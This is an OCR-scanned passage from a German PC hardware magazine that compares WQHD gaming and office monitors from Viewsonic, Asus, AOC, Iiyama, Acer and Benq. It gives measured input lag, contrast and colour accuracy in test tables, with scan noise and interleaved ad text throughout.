erzielt nur eine mittelmäßige Aus- 
stattungsnote. Das liegt daran, dass 
er nicht viele Anschlüsse bietet. In 
der Oberklasse verzichten die Her- 
steller gerne mal auf den veralteten 
DVI-Anschluss - auf die analoge 
VGA-Buchse sowieso. Das macht 
auch Sinn, da aktuelle Grafikkar- 
ten ohnehin kein analoges Signal 
mehr bieten und die VGA endgül- 
tig ausgestorben ist. Ansonsten ist 
die Ausstattung tadellos und dem 
Preis auch angemessen: Drehbarer, 
höhenverstellbarer und sogar be- 
leuchteter Standfuß, Vesa-Bohrun- 
gen für eine Tischhalterung und 
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zwei USB-3.0-Buchsen lassen keine 
Wünsch offen. 


Das IPS-Panel beschert dem Moni- 
tor eine gute Bildqualität: Rundum 
stabiler Blickwinkel, sehr guter 
Kontrast über 1100:1 und eine 
recht geringe Farbabweichung ma- 
chen letztlich den Viewsonic-Moni- 
tor zum Testsieger. Die Farbanalyse 
lässt zudem keine Schwäche in den 
drei Grundfarben erkennen. Die 
maximale Helligkeit über 350 cd/ 
m? wird zwar von so manchem 
TN-Display in der Testreihe über- 
troffen, jedoch ist der Wert mehr 
als ausreichend für eine gute Dar- 
stellung auch in heller Umgebung. 
Lediglich was die gleichmäßige 
Ausleuchtung betrifft, hat der Mo- 
nitor eine kleine Schwäche: Im 
oberen Drittel des Bildes ist die 
Helligkeit etwa zehn Prozent nied- 
riger. Dieses Manko ist aber nur 
durch unsere Messung ersichtlich 
und nicht unbedingt mit bloßem 
Auge. Zudem schluckt der Monitor 
in Standby recht viel: Über 10 Watt 
machen eine Steckdosenleiste mit 
Schalter zur Pflicht. 


Asus MG278Q: Auch TN-Panels kön- 
nen gut abschneiden. Dass eine kur- 
ze Reaktionszeit und ein geringer 
Input Lag nicht im Widerspruch 
zu einer guten Bildqualität stehen 
müssen, beweist der Gaming-Moni- 
tor von Asus. Zwar handelt es sich 
hier „nur“ um ein TN-Panel, das 
in Sachen Bildqualität gegenüber 
den IPS-Modellen schon technisch 
bedingt nicht ganz so gut abschnei- 
det. Der Monitor ist aber ein gutes 
Beispiel dafür, dass TN qualitativ 
zu IPS aufgeholt hat. Während vor 
einigen Jahren die TN-Panels noch 
stellenweise die miese Blickwin- 
kelstabilität eines Geldautomaten- 
Displays hatten, scheint die TN- 
Mittelklasse dieses Manko endlich 
etwas gelindert zu haben. Für ein 
TN-Panel ist die durchschnittliche 
Farbabweichung von 4,4 recht gut 
und auch die Schlieren halten sich 
mit mittlerer Overdrive-Option in 
Grenzen. Allein der Kontrast unter 
700:1 trübt das gute Bild nicht nur 
sprichwortlich leicht. 


Das MG278Q überzeugt aufšer- 
dem mit seiner guten Ausstattung: 


Lag: 


q 


Mit DVI, HDMI und Displayport 
sind alle gebräuchlichen Grafik- 
anschlüsse geboten. Neben fast 
schon standardmäßigem USB-Hub, 
Lautsprecher und Audio-Buchsen 
liefert Asus in seinen Gaming- 
Monitoren ein ausgezeichnetes 
On-Screen-Menü, das keine Wün- 
offenlässt. Während hier 
viele Modelle lediglich Tasten zur 
umständlichen Navigation bieten, 


sche 


Mit dem „Leo Bodnar Video Signal Input Lag Tester” er- 
halten wir einen Wert über den Input Lag - jedoch nur bei 
Full-HD-Auflösung über den HDMI-Anschluss. 


10.8 msec 


а - 


verfügen Asus-Monitore über ei- 
nen Fünf-Wege-Stick, der die Be- 
dienung erheblich vereinfacht. Für 
Gamer interessante Merkmale sind 
außerdem ein Fps-Counter und ein 
aufschaltbares Fadenkreuz. Diese 
Vielfalt beschert dem MG278Q die 
beste Ausstattungsnote der Testrei- 
he. Zusammen mit einer sehr guten 
Leistungswertung landet der Moni- 
tor auf Platz zwei. 


Leading Innovation >>> 


nzip 
für NAS 


High-Reliability Hard Drive 


toshiba.eu/ 


MY NAS-STORAGE 
192.168.1.66 


High-Reliability 
Hard Drive 
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Aktuelle Bildschirmauflösungen im Vergleich 


WQHD ist nicht nur preislich, sondern auch in der GróBe die goldene Mitte unter den Auflósungen. In der Breite 
entspricht die Pixelzahl dem Ultrawide-Format in 1080p bzw. in der Hóhe dem in 1440p. 


Die WQHD-Auflósung verfügt über 77 Prozent mehr Pixel als Full HD. Die Pixeldichte ist bei gleicher Bilddiagonale also um ein 
Drittel hóher. Anders ausgedrückt: Die Pixel sind um ein Drittel kleiner. Full HD ist noch immer die beliebteste Auflósung, allein 
die Menge an gelisteten Modellen im PCGH-Preisvergleich zeigt das. Noch immer gibt es mehr Full-HD-Geráte als alle anderen 
Auflósungen zusammen. Direkt dahinter kommt WQHD. Die vierfache 720p-Auflósung ist die einzige Alternative im 16:9-Format 
zwischen Full HD und UHD. 


UW-UXGA 
(2.560 x 1.080) 


WUXGA (1.920 x 1.200) : MR 
2.560 x 1.440 


UWQHD 
(3.440 x 1.440) 


Dichte und Größe der Pixel beliebter Moni 


Asus PB277Q: Solide Qualität zum 
günstigen Preis. Auf Platz drei 
schafft es ebenfalls ein Asus: Das 
Modell PB277Q wirkt ein wenig 
wie eine Light-Version des eben be- 
schriebenen Monitors. Statt 144 Hz 
mit Freesync bietet Asus hier beim 
deutlich günstigeren Monitor le- 
diglich statische 75 Hz. Außerdem 
sind die USB-Buchsen verschwun- 
den. Zudem schluckt der Monitor 
etwas mehr Strom, wenn auch nur 
unwesentlich. Soweit die wesent- 
lichen Unterschiede beider Asus- 
Modelle. Wie der große Bruder 
hat auch das PB277Q das gute On- 
Screen-Menü mit Fps-Counter und 
Fadenkreuz. 


Gleichgeblieben ist die gute 
Bildqualität. Auch hier messen wir 
recht geringe Farbabweichungen, 
einen kurzen Input Lag über 10,4 
ms sowie Differenzen in der Aus- 
leuchtung nur bis zehn Prozent. 
Hier unterscheiden sich die beiden 
Asus-Modelle kaum. Mit ein Grund 
für den dritten Platz des PB277Q, 
dessen Marktpreis bei circa 300 
Euro liegt. Der zweitgünstigste Mo- 
nitor in unserer Testcharge, der be- 
weist, dass ein gutes Display nicht 


Seitenverhältnis/Auflösung Anzahl MP* Pixelgröße 24" Pixeldichte 24" Pixelgröße 27" Pixeldichte 27" Gelistete Modelle** 
1920x1080 (Full HD) 2,1 0,28 mm 91,8 ppi 0,31 mm 81,6 ppi 919 
16:9 2560x1440 (WQHD) 3,7 0,21 mm 122,4 ppi 0,23 mm 108,8 ppi 135 
3840x2160 (4K UHD) 8,3 0,14 mm 183,6 ppi 0,16 mm 163,2 ppi 98 
Seitenverhältnis/Auflösung Anzahl MP* Pixelgröße 24" Pixeldichte 24" Pixelgröße 30" Pixeldichte 30" Gelistete Modelle** 
: 1920x1200 (WUXGA) 2,3 0,27 mm 94,3 ppi = = 103 
Н 2560х1600 (WQXGA) 4,1 _ _ 0,25 mm 100,6 ppi 14 
Seitenverhältnis/Auflösung Anzahl MP* Pixelgröße 29" Pixeldichte 29" Pixelgröße 34" Pixeldichte 34" Gelistete Modelle** 
SS 2560x1080 (UW-UXGA) 2,8 0,26 mm 96,0 ppi 0,31 mm 81,9 ppi 37 
3440x1440 (UWQHD) 5,0 0,20 mm 129,0 ppi 0,23 mm 110,0 ppi 34 
*Megapixel; **Quelle: http://preisvergleich.pcgameshardware.de 
Pixeldichte und Pixelgröße bei 24 Zoll Pixeldichte und Pixelgröße bei 27 Zoll 
Pixeldichte bei 24-Zoll-Monitoren in pixel per inch (ppi) Pixeldichte bei 27-Zoll-Monitoren in pixel per inch (ppi) 
1920x1080 (Full HD) EEE 91,8 (-25 %) 1920x1080 (Full HD) ER 81,6 (-25 96) 
2560x1440 (МОНО) EXE 122,4 (Basis) 2560x1440 (МОНО) ШШЕ 108,8 (Basis) 
38402160 (4K UHD) REESE 183,6 (+50 96) 38402160 (4K UHD) www; 163,2 (+50 %) 
Pixelgröße bei 24-Zoll-Monitoren in Millimeter (mm) Pixelgröße bei 27-Zoll-Monitoren in Millimeter (mm) 
1920x1080 (Full HD) waw 0,28 (+33 96) 1920x1080 (Full HD) wawww 0,31 (+35 96) 
2560x1440 (МОНО) ВВ 0,21 (Basis) 2560x1440 (WQHD) ERR 0,23 (Basis) 
3840x2160 (4K ОНО) REESE 0,14 (-33 96) 38402160 (4K UHD) l 0,16 (-30 %) 
Bemerkungen: 24-Zoll-Monitore in AK/UHD-Auflósung sind eher Exoten. Meist wird Р Bemerkungen: Nur noch àltere Мопіќоге verfügen bei einer Diagonale тії 27 2011 š 
die hohe Auflösung in Monitoren mit einer Diagonale über 27 Zoll oder höher verwendet. Ppi p; Besser über die Full-HD-Auflösung. Die geringe Pixeldichte ist nicht mehr zeitgemäß und höher ppi p Besser 
Noch immer dominiert Full HD bei 24 Zoll. mm auflösende Panels sind bereits erschwinglich. minaq possey 
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viel Geld kosten muss. Das zeich- 
nen wir mit unserem Spar-Tipp aus. 
Wer mit der statischen Bildwieder- 
holrate leben kann, findet hiermit 
den besten WQHD-Einstieg. 


Zwillingsmodelle mit Freesync und 
G-Sync. Es ha 
Modellen um die einzigen 24-Zoll- 
Monitore in 


delt sich bei beiden 
unserer N tüber- 
sicht. Die beiden Gaming-Geräte 
von AOC unterscheiden sich ledig 
lich in der Version der variablen 
Bildwiederholrate - also G 
und Freesync - und dementspre- 
chend auch deutlich im Preis. Der 
А 1QG mit G-Sync ist nämlich 
gut 150 Euro bzw. knapp 40 Pro- 
zentteurer als sein Freesync-Bruder 

1ОХ. Dafür ist das Intervall bei 
der Nvidi riante etwas größer: 
Es reicht von 30 bis 165 Hz - beim 
Freesync-Modell nur bis 144 Hz. Ein 
unwesentlicher Unterschied, zumal 
die Kaufentscheidung ohnehin die 
bereits vorhandene Grafikkarte 
fällt. Bei beiden Modellen gefällt 
der drehbare massive Vollmetall- 
Standfuß, der erlaubt, die Höhe 


des Displays um bis zu 21 cm zu 
verstellen. Auch die Kabelführung 
und der Haltegriff am Ständer wir- 
ken durchdacht. Ein einfaches, aber 
nützliches Accessoire beider Mo- 
delle ist die ausklappbare Headset- 
Halterung. Äußerlich fast identisch, 
zeigt sich erst bei näherem Hinse- 
hen ein Unterschied: Das Freesync- 
Modell hat einen HDMI-Anschluss 
mehr. Das ist zumindest bei G-Sync 
verschmerzbar, da es sowieso nur 
per Displayport funktioniert. Die 
Messwerte beider Modelle sind 
nicht ganz so gleich: Helligkeit, 
Kontrast, Input Lag und Farbtreue 
sind beim AG241Q 
wenn auch wirklich nur unwesent- 


leicht besser 


lich. Aber deswegen liegt es einen 
Platz vorne. 


у ` Kompromiss- 
Monitor mit Freesync. Günstiger 


geht ein WQHD-Monitor mit Diago- 
nale über 27 Zoll wohl kaum. Ver- 
glichen mit dem Asus PB277Q, der 
preislich in etwa gleichauf liegt, hat 
der Ii 
Bord. Zwar nur zwischen 55 und 


ama-Monitor Freesync mit an 


75 Hz, aber immerhin. Eine hóhe- 
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Gamer stehen auf farbige LEDs — und das in allen PC-Komponenten. Das glaubt auch 


Viewsonic und verpasst dem XG2703-GS einen le 


re Bildwiederholrate ist nur zu ei- 
nem deutliche hóheren Preis (Asus 
MG278Q) oder mit geringem Preis- 
aufschlag aber kleinerem 24-Zoll- 
Display (AOC Agon AG241QX) zu 
haben. Nichtsdestotrotz kommt un- 
sere Preis-Leistungs-Auszeichnung 
des Iiyama GB2783QSU nicht von 
ungefähr: Die Ausstattung wirkt 
Mit DVI, HDMI 
und Displayport stehen zunächst 
alle aktuellen Grafikeingänge zur 


nàmlich solide: 


tenden Stand 


Verfügung. Zudem gefallen uns 
die USB-3.0-Buchsen an der Seite, 
die dort viel bequemer erreichbar 
sind als etwa an der Unterseite 
oder Rückseite. Mit Audiobuchsen, 
Lautsprecher und flexiblem Stand- 
fuß fehlt es dem Monitor an nichts. 
Aber nicht nur àufserlich schneidet 
er gut ab. Auch das Display kann 
sich wortwörtlich sehen lassen: 
Mit nur acht Prozent sind die Hel- 


ligkeitsabweichungen in den Ecken 


PURE POWER 10 L£— wm = = 
Die neue Generation der erfolgreichsten Netzteilserie von be quiet!. Das \ = fl = e 
Pure Power 10 bietet die bestmögliche Kombination von Ausstattung, Leistung “һ_ Ж 7 : — / = 
und Qualität zu einem äußerst attraktiven Preis. Die neuen Modelle mit М. чы e 

DC/DC-Technologie sorgen für eine starke Spannungsregulierung, sogar bei 
heftigen Cross-Loads. 

= Zwei starke 12V-Leitungen und Multi-GPU Unterstützung 9 
2 Active Clamp + SR Technologie für stabilen Betrieb (700-400W) 

= AuBerordentlich leiser Betrieb 

= 80PLUS® Silber und Bronze Effizienz (von bis zu 91%) 

= Modular und non modular: 700 - 300W 


Weitere Informationen auf bequiet.com 


GERMANY'S NO. 1 


Erhältlich bei: alternate.de - arlt.de - bora-computer.de · | PSU MANUFACTURER 


computeruniverse.net - conrad.de - hiq24.de - e-tec.at - 
mindfactory.de - notebooksbilliger.de - reichelt.de 


caseking.de 
galaxus.ch 
*GfK Panelmarkt, 2007-2017 
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gering und die Ausleuchtung da- 
mit recht gleichmäßig. Farbtreue, 
Kontrast und Schwarzwert liegen 
im guten Durchschnitt für ein TN- 
Panel. Da sich Schlieren in mittlerer 
Overdrive-Einstellung in Grenzen 
halten, liefert der Monitor auch 
in Bewegung ein gutes Bild. Wem 
der Asus PB277Q gefällt, dort aber 
Freesync fehlt, für den ist der Iiya- 
ma GB2783QSU die richtige Wahl. 


Acer XG270HU: Schickes Modell, 
aber unflexibel. Auch der Acer- 
Vertreter der WQHD-Monitore 


bietet Freesync. Mit zwischen 40 
und 60 Hz ist die Reichweite etwas 
knapp und niedrig, sodass die vari- 
able Bildwiederholrate selten ein 
brauchbares Merkmal sein dürfte. 
Die Funktion taugt gegen Bildrisse 
nur in Spielen, in denen so geringe 
Frameraten akzeptabel sind, etwa 
in Strategiespielen. Darüber hin- 
aus macht das Panel nach unseren 
Messungen einen passablen Ein- 
druck: Die maximale Helligkeit ist 
mit circa 370 cd/m? recht gut, der 
Schwarzwert mit 0,5 cd/m? nicht 
zu hoch und der daraus resultie- 
rende Kontrast mit 800:1 über dem 


Durchschnitt. Auch die Messungen 
der Farbtreue und der Ausleuch- 
tung lassen kein Defizit erkennen. 
Kurzum: Das Display des XG270HU 
ist brauchbar und grundsolide. 


Weniger gut ist die Ausstattung des 
Monitors: Der Standfufs etwa ist so 
flexibel wie ein Backstein, nàmlich 
gar nicht. Der Monitor ist weder 
drehbar noch höhenverstellbar. 
Wer nun meint, dieses Manko etwa 
mit einer Monitorhalterung behe- 
ben zu können, erlebt die nächste 
Enttäuschung: Das Gerät verfügt 
nämlich nicht über eine Vesa-Auf- 
nahme an der Rückseite. Der Bild- 
schirm ist lediglich in der Vertika- 
len etwas neigbar. Immerhin ist die 
Anschlussausstattung passabel: Das 
Trio der digitalen Grafikeingänge 
und eine Kopfhörerbuchse fin- 
den Platz. Ebenso wie zwei kleine 
Lautsprecher. Mit knapp vier Kilo- 
gramm ist der Acer-Monitor außer- 
dem das mit Abstand leichteste Mo- 
dell. Den gleichen Monitor gibt es 
auch in einer 144-Hz-Version. 


Viewsonic VX2778: Endlich ein IPS- 
Display. Das zweite Modell von 


WQHD-MONITORE 


Auszug aus Testtabelle 
mit 30 Wertungskriterien 


Produktname 


Hersteller Viewsonic 


XG2703-GS 


Viewsonic ist ebenfalls eines mit 
IPS-Panel, die beiden einzigen un- 
ter den Zehn. Es beweist, dass das 
kein Garant für Bildqualität sein 
muss. Zunáchst mal macht sich 
das im Preis bemerkbar. Während 
die vergleichbare TN-Konkurrenz 
für gut unter 400 Euro zu haben 
ist, liegt der Preis des VX2778 
deutlich darüber. Im Messparkour 
gefällt das Display zunächst mit ei- 
ner guten Maximalhelligkeit weit 
über 400 cd/m? und einer recht 
geringen Schlierenbildung. Der 
große Wermutstropfen ist die un- 
gleichmäßige Ausleuchtung: Un- 
terschiede bis zu 20 Prozent sind 
in der Helligkeit im oberen Drittel 
des Displays sichtbar. Wäre nicht 
dieser Pferdefuß, würde das Dis- 
play in seiner Preiskategorie mit 
guter Farbtreue, hohem Kontrast, 
niedrigem Schwarzwert und wenig 
Input Lag in Sachen Bildqualität am 
besten abschneiden. Feste 60 Hz 
ohne Free- oder G-Sync sind zudem 
das Mindeste in Sachen Bildwieder- 
holrate. Es handelt sich eben um 
keinen dedizierten Gaming-Moni- 
tor. Das muss nicht heißen, dass 
er spieleuntauglich ist, was der 


27 Zoll 


Input Lag von nur 9,6 ms beweist. 
Wie auch der Acer-Monitor ist der 
Standfuß des Viewsonic-Geräts we- 
der drehbar noch höhenverstellbar. 
Aber wozu gibt es schließlich Tele- 
fonbücher? Spaß beiseite: Zumin- 
dest sind Vesa-Bohrungen für eine 
Monitorhalterung 
ausgang und Boxen vorhanden. Es 
ist außerdem der einzige Monitor 
mit einem zusätzlichen Mini-Dis- 
playport-Anschluss. Ein wirklicher 
Vorteil ist das nicht, es spart bes- 
tenfalls einen Adapter. Zudem liegt 
ausschließlich ein Displayport- 
Kabel dem Gerät bei. Ein weiterer, 
aber kleiner Unterschied zu den 
meisten anderen Modellen sind 
die zwei statt drei Jahre Garantie 
- dafür aber mit Abholung (Pick- 
up & Return). Wer über die etwas 
magere Ausstattung hinwegsieht, 
bekommt mit dem VX2778 noch 
immer einen guten Allrounder mit 
IPS-Display. 


sowie Audio- 


Benq Zowie XL2735: Überzeugt nur 
in der B-Note. Die Zowies von Benq 
sind voll und ganz auf E-Sport zuge- 
schnitten - also ganz und gar keine 
Allrounder. Das ist schon am reich- 


Viewsonic 
6270365 


Hardware 


MG278Q 


Asus 


Hardware 


PB277Q 


Asus 


24 Zoll 24 Zoll 
Agon AG241QX Agon AG241QG 
AOC AOC 


Preis/Preis-Leistungs-Verháltnis 


Ca. 850 Euro/Befriedigend 


Ca. € 500,-/Gut 


Ca. € 300,-/Gut 


Ca. € 380,-/Befriedigend 


Ca. € 525,-/Befriedigend 


PCGH-Preisvergleich 
Ausstattung (20 %) 
Diagonale/Anschlüsse 


www.pcgh.de/preis/1504306 


68,8 cm/1 x HDMI 1.4, 
1 x Displayport 1.2 


www.pcgh.de/preis/1277261 


68,6 cm/1 x DVI, 2 x HDMI, 
1 x Displayport 1.2 


www.pcgh.de/preis/1415774 


68,6 cm/1 x VGA, 1 x DVI, 
1 x HDMI, 1 x Displayport 1.2 


www.pcgh.de/preis/1513909 


60,5 cm/2 x HDMI, 1 x Displayport 


www.pcgh.de/preis/1476116 


60,5 cm/1 x HDMI, 1 x Displayport 


Max. Auflósung/Pixeldichte 


2.560 x 1.440/108 ppi 


2.560 x 1.440/108 ppi 


2.560 x 1.440/108 ppi 


2.560 x 1.440/122ррі 


2.560 x 1.440/122ppi 


Panel/Hintergrundbeleuchtung IPS/LED TN/LED TN/LED TN/LED TN/LED 
Netzteil extern intern intern extern extern 
Gewicht/MaBe 7,0 kg/63 x 53 x 25 cm 11,5 kg/63 x 56 x 23 cm 10,5 kg/63 x 56 x 22 cm 5,5 kgí55 x 49 x 21 cm 5,5 kgí55 x 49 x 21 cm 


Pivot 90Grad/neigbar/hóhenverstellbar 


Ja/-5°,20°/10 cm 


1а/-5°,20°/15 cm 


Ja/-5°,20°/12 cm Ja/-4°,21°/13 cm 


Ja/-4°,21°/13 cm 


Garantie 3 Jahre 


3 Jahre 


3 Jahre 3 Jahre 


3 Jahre 


Sonstiges/Zubehör 


USB-3.0-Hub, 2 x 2 Watt Lautspre- 
cher, Kopfhörerausgang, beleuchte- 
ter Standfuß 


USB-3.0-Hub,2 x 2 Watt Lautspre- 
cher, drehbarer Standfuß, Kopfhö- 
rerausgang, Mikrofoneingang, Fps 
Counter, Onscreen Crosshair 


2 x 2 Watt Lautsprecher, drehbarer 

Standfuß, Kopfhörerausgang, Mikro- 
foneingang, Fps Counter, Onscreen 

Crosshair 


2 x 2 Watt Lautsprecher, Kopfhörer- 
ausgang, Mikrofoneingang, 4 x USB 
3.0, Headset-Halterung 


2 x 2 Watt Lautsprecher, Kopfhörer- 
ausgang, Mikrofoneingang, 4 x USB 
3.0, Headset-Halterung 


Eigenschaften (20 %) 2,37 2,46 2,55 2,29 2,36 
Betrachtungswinkel horizontal/vertikal |178/178 Grad 170/160 Grad 170/160 Grad 170/160 Grad 170/160 Grad 
Bildwiederholrate/VRR 30-165 Hz/G-Sync 40-144 Hz/Freesync 75 Hz/Nein 30-144 Hz/Freesync 30-165 Hz/G-Sync 


Kontrastverháltnis/Schwarzwert 


1118:1/0,3 cd/m? 


649:1/0,6 cd/m? 


814:1/0,5 cd/m? 


901:1/0,5 cd/m? 


717:1/0,6 cd/m? 


Max. Leistungsaufnahme/Standby 41 Watt/10,7 Watt 42,4 Watt/0,6 Watt 49,8 Watt/1,4 Watt 30,2 Watt/0,4 Watt 30,3 Watt/0,4 Watt 
Leistung (60 %) 1,29 1,49 1,41 1,52 1,53 

Input Lag (Leo Bodnar) 12,1 ms 10,4 ms 10,4 ms 10,6 ms 13,0 ms 
Farbabweichungen (g Delta E 2000) 33 44 38 4,7 5,5 

Max. Helligkeit 354,7 cd/m? 402,1 cd/m2 388,3 cd/m2 427,5 cd/m2 449,2 cd/m2 
Helligkeitsabweichungen Bis 12% Bis 11% Bis 10% Bis 15 % Bis 11 % 


Schlieren-/Korona-Bildung 


FAZIT 
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wenig/keine 
© Gute Bildqualität 
© G-Sync bis 165 Hz 
© Hoher Standby-Verbrauch 


Wertung: 1,56 
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wenig/wenig 


© Gute Ausstattung 
© Gutes Preis-Leistungs-Verhältnis 
© Niedriger Kontrast 


Wertung: 1,64 


sichtbar/wenig 


© Gutes Preis-Leistungs-Verhältnis 
© Gute Farbtreue 
© Kein Freesync 


Wertung: 1,68 


sichtbar/sichtbar 


© Freesync bis 144 Hz 
© Standfuß aus Vollmetall 
© Ausleuchtung mittelmäßig 


Wertung: 1,72 


sichtbar/sichtbar 


© G-Sync bis 165 Hz 
© Standfuß aus Vollmetall 
© Ausleuchtung mittelmäßig 


Wertung: 1,74 


www.pcgameshardware.de 
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haltigen Zubehör und den äußeren 
Merkmalen ersichtlich: Wie auch 
die Agons hat der Standfuß einen 
praktischen Tragegriff. Sogar eine 
Plastikhülle legt Benq bei, sodass 
der Transport zur LAN-Party trotz 
des recht hohen Gewichts von 12 
kg problemlos verläuft. Mit einem 
Knopf ist das Display auch schnell 
vom Standfuß gelöst. Typisch für 
die Zowies sind die Segelohren - 
offiziell Fokusblenden genannt. 
Sie sollen helfen, sich auf das Bild 
zu konzentrieren. Als Schutz vor 
Lichteinfall, wie sie etwa bei Gra- 
fikmonitoren fungieren, eignen sie 
sich hier kaum. Mit einer Headset- 
Halterung, einer Fernbedienung 
und USB-Ports an der rechten Kan- 
te scheint Benq an alles gedacht zu 
haben. Wer das Datenblatt studiert, 
mag zunächst eine variable Bild- 
wiederholrate vermissen - die ist 
fix bei 144 Hz. Der Grund ist das 
sogenannte „DyAc“, das zwischen 
jedem Frame ein schwarzes Bild 
einfügt. Das ist schon von ande- 
ren Herstellern als „Black Frame 
Insertion“ bekannt. Diese Technik, 
die das Bild realistischer wirken 
lassen soll, ist nicht mit einer dy- 


namischen Frequenz kompatibel. 
In unseren Messungen schneidet 
der Zowie durchwegs mittelmäßig 
ab. Schwächen zeigen sich in der 
Werkseinstellung, denn das Bild 
wirkt etwas flau. Die Gammakor- 
rektur im Menü wirkt dem etwas 
entgegen. Die Overdrive-Funktion 
sorgt in allen Stufen für einen 
deutlichen Korona-Effekt. Es zeigt 
sich abermals, dass der Zowie re- 
aktionsschnell sein möchte - ohne 
Rücksicht auf die Bildqualität. Der 
Monitor ist auf High-Fps-Gaming 
zugeschnitten ohne Kompromisse 
zugunsten der bestenfalls mittel- 
mäßigen Bildqualität. 


AOC Q2778VQE: Günstig und schlicht, 
aber nicht unbedingt schlecht. Wel- 
che Ansprüche kann man an das 
mit Abstand günstigste Gerät ha- 
ben? Natürlich schneiden andere 
Modelle besser ab. Wer die Daten 
der Testtabelle vergleicht, stellt 
aber fest, dass sich der AOC-Mo- 
nitor nicht verstecken muss: Die 
Helligkeit von nur knapp 300 cd/ 
m? ist noch mehr als genug für 
helle Räume, auch der Kontrast 
schwächelt nicht mit 800:1. Zudem 


— > — 3 
es - Е E 


Die Agon-Modelle von AOC und die Zowie-Monitore von Benq bieten eine Kabelfern- 
bedienung — praktisch für alle, die das Display individuell fürs Spiel konfigurieren. 


ist die Ausleuchtung recht gleich- 
mäßig und die Farbtreue ganz gut. 
Erst der Input Lag erreicht fast die 
spürbare Schmerzgrenze von 30 
ms. Ego-Shooter fallen damit flach. 
Wer in dieser Preisregion schnelle- 
re Schaltzeiten erwartet, sollte auf 
Full HD zurückgreifen. Der AOC 
ist eher ein günstiger Allrounder: 
Mit VGA hat er als einziger WQHD- 
Monitor eine analoge Grafikbuchse 
an Bord. (mc) 


Fa 


WOHD muss nicht teuer sein 

AK/UHD erfordert High-End-Grafiklei- 
stung und ist zudem nur bis 60 Hz 
möglich. Im 16:9-Format ist daher 
WQHD die einzige Alternative zu Full 
HD, die außerdem nicht teuer sein 
muss. Es ist nicht die Auflösung, wel- 
che die Monitore teurer macht. Bei 
gleichem Preis greift man daher besser 
gleich zum höherauflösenden Modell. 


27 Zoll 


27 Zoll 


27 Zoll 27 Zoll 


27 Zoll 


WQHD-MONITORE 


Auszug aus Testtabelle 
mit 30 Wertungskriterien 


Produktname 


Hersteller liyama 


GB2783Q 


XG270HU 


Acer 


VX27 


Viewsonic 


Zowi 
Benq 


2735 


Q2778VQE 
AOC 


Preis/Preis-Leistungs-Verháltnis 


Ca. € 320,-/Gut 


Ca. € 340,-/Gut 


Ca. € 460,-/Gut 


Ca. € 750,-/Befriedigend 


Ca. € 245,-/Gut 


PCGH-Preisvergleich 
Ausstattung (20 %) 
Diagonale/Anschlüsse 


www.pcgh.de/preis/1515062 


68,6 cm/1 x DVI, 1 x HDMI, 
x Displayport 1.2 


www.pcgh.de/preis/1474187 


68,6 cm/1 x DVI, 1 x HDMI, 
1 x Displayport 1.2 


www.pcgh.de/preis/147 1207 


68,6 cm/1 x Mini DP, 1 x HDMI, 
1 x Displayport 1.2 


www.pcgh.de/preis/1493548 


68,6 cm/1 x DVI, 2 x HDMI, 
1 x Displayport 1.2 


www.pcgh.de/preis/1527074 


68,6 cm/1 x VGA, 1 x DVI, 1 x 
HDMI, 1 x Displayport 1.2 


Max. Auflösung/Pixeldichte 


2.560 x 1.440/108ppi 


2.560 x 1.440/108ppi 


2.560 x 1.440/108 ppi 


2.560 x 1.440/108 ppi 


2.560 x 1.440/108ppi 


Panel/Hintergrundbeleuchtung N/LED 


TN/LED 


IPS/LED TN/LED 


TN/LED 


Netzteil intern 


extern 


intern intern 


intern 


Gewicht/Maße 


6,1 kg/62 x 53 x 23 cm 


3,8 kg/61 x 46 x 21 cm 


4,9 kg/61 x 46 x 19 cm 


12,3 kg/63 x 56 x 23 cm 


4,8 kgl61 x 46 x 21 cm 


Pivot 90Grad/neigbar/hóhenverstellbar 


а/-5°,15°/13 cm 


Nein/-5°, 15°/Nein 


Nein/-5°,15°/Nein Ja/-5°,15°/14 cm 


Nein/-4°,21°/Nein 


Garantie 3 Jahre 3 Jahre Pickup & Return 2 Jahre Pickup & Return 2 Jahre Pickup & Return 3 Jahre 
Sonstiges/Zubehör USB-3.0-Hub, drehbarer Standfuß, |2 x 2 Watt Lautsprecher, Kopfhó- 2 x 2 Watt Lautsprecher, Kopfhó- — | USB-3.0-Hub, drehbarer Standfuß, |2 x 2 Watt Lautsprecher, Kopfhö- 
Kopfhörerausgang, 2 x 2 Watt rerausgang, rerausgang Kopfhörerausgang, Mikrofonein- rerausgang 
autsprecher gang, Fokusblende, Headset-Aufhän- 
gung, Schutzhülle 
Eigenschaften (20 %) 2,49 2,46 2,38 2,41 2,49 
Betrachtungswinkel horizontal/vertikal | 170/160 Grad 170/160 Grad 178/178 Grad 170/160 Grad 170/160 Grad 
Bildwiederholrate/VRR 55-75 Hz/Freesync 40-60 Hz/Freesync 60 Hz/Nein 144 Hz/Nein 60 Hz/Nein 


Kontrastverháltnis/Schwarzwert 


777:110,5 cd/m? 


832:1/0,5 cd/m? 


973:1/0,4 cd/m? 713:1/0,6 cd/m? 


801:1/0,4 cd/m? 


FAZIT 


www.pcgameshardware.de 


© Gute Ausstattung 
Q Geringer Input Lag 
© Knappe Freesync-Range 


Wertung: 1,82 


© Gleichmäßige Ausleuchtung 
© Relativ leicht 
© Nicht höhenverstellbar 


Wertung: 1,82 


Max. Leistungsaufnahme/Standby 40,2 Watt/0,3 Watt 41,5 Watt/0,3 Watt 27,4 Watt/0,3 Watt 30,9 Watt/0,4 Watt 43,1 Watt/0,3 Watt 
Leistung (60 %) 1,69 1,60 1,57 1,87 1,89 

Input Lag (Leo Bodnar) 10,2 ms 10,2 ms 9,6 ms 12,2 ms 27,1 ms 
Farbabweichungen (g Delta E 2000) 74 53 4,3 8,4 4,4 

Max. Helligkeit 367 cd/m? 374,4 cd/m? 425,4 cd/m? 434,7 cd/m? 304,4 cd/m? 
Helligkeitsabweichungen Bis 8 % Bis 7 % Bis 19% Bis 10 % Bis 9 % 
Schlieren-/Korona-Bildung sichtbar/gering sichtbar/sichtbar wenig/wenig wenig/wenig sichtbar/sichtbar 


© Geringer Input Lag 
© Gute Farbtreue 
© Magere Ausstattung 


Wertung: 1,8 


© Gute Ausstattung 
© Hohe Maximalhelligkeit 
Q Geringe Farbtreue 


Wertung: 1,98 


© Gute Farbtreue 
© Günstig 
© Hoher Input Lag 


Wertung: 2,03 
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Z270-Mainboards 


Unsere Launch-Marktübersicht zur 


zweiten Sockel-1151-Mainboard- 
Generation kam für einige 
Hersteller zu früh — wir testen 
drei Nachzügler. 


Bild: Modern Tech 
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n der PCGH 02/2017 präsentier- 
KE wir unmittelbar zum Launch 
von Intels Kaby-Lake-Generation 
Teil 1 unserer Z270-Mainboard- 
Marktübersicht (Abonnenten lasen 
den Test sogar schon fünf Tage vor- 
